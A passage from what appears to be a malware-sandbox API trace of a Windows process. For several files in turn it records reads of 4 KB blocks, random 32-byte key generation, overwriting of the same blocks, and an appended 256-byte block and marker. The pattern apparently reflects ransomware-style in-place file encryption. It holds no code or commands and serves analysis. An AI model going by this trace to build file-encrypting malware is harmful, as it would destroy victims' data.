lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.499] GetProcessHeap () returned 0x540000 [0089.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.499] GetProcessHeap () returned 0x540000 [0089.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.499] GetProcessHeap () returned 0x540000 [0089.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.499] CloseHandle (hObject=0x9fc) returned 1 [0089.500] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 161 [0089.501] SetFilePointerEx (in: hFile=0xa00, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.501] ReadFile (in: hFile=0xa00, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.501] SetFilePointerEx (in: hFile=0xa00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.501] GetProcessHeap () returned 0x540000 [0089.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.501] GetProcessHeap () returned 0x540000 [0089.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.501] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.501] GetProcessHeap () returned 0x540000 [0089.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.501] ReadFile (in: hFile=0xa00, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.564] SetFilePointerEx (in: hFile=0xa00, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.565] WriteFile (in: hFile=0xa00, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.565] GetProcessHeap () returned 0x540000 [0089.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.566] GetProcessHeap () returned 0x540000 [0089.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.566] GetProcessHeap () returned 0x540000 [0089.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.567] GetProcessHeap () returned 0x540000 [0089.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.568] GetProcessHeap () returned 0x540000 [0089.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.568] GetProcessHeap () returned 0x540000 [0089.569] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.569] SetFilePointerEx (in: hFile=0xa00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.569] WriteFile (in: hFile=0xa00, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.569] WriteFile (in: hFile=0xa00, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.569] GetProcessHeap () returned 0x540000 [0089.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.570] CloseHandle (hObject=0xa00) returned 1 [0089.571] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 162 [0089.571] SetFilePointerEx (in: hFile=0xa04, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.571] ReadFile (in: hFile=0xa04, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.571] SetFilePointerEx (in: hFile=0xa04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.571] GetProcessHeap () returned 0x540000 [0089.571] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.571] GetProcessHeap () returned 0x540000 [0089.571] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.571] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.571] GetProcessHeap () returned 0x540000 [0089.571] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.571] ReadFile (in: hFile=0xa04, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.622] SetFilePointerEx (in: hFile=0xa04, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.622] WriteFile (in: hFile=0xa04, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.623] GetProcessHeap () returned 0x540000 [0089.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.623] GetProcessHeap () returned 0x540000 [0089.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.624] GetProcessHeap () returned 0x540000 [0089.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.624] GetProcessHeap () returned 0x540000 [0089.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.625] GetProcessHeap () returned 0x540000 [0089.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.625] GetProcessHeap () returned 0x540000 [0089.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: 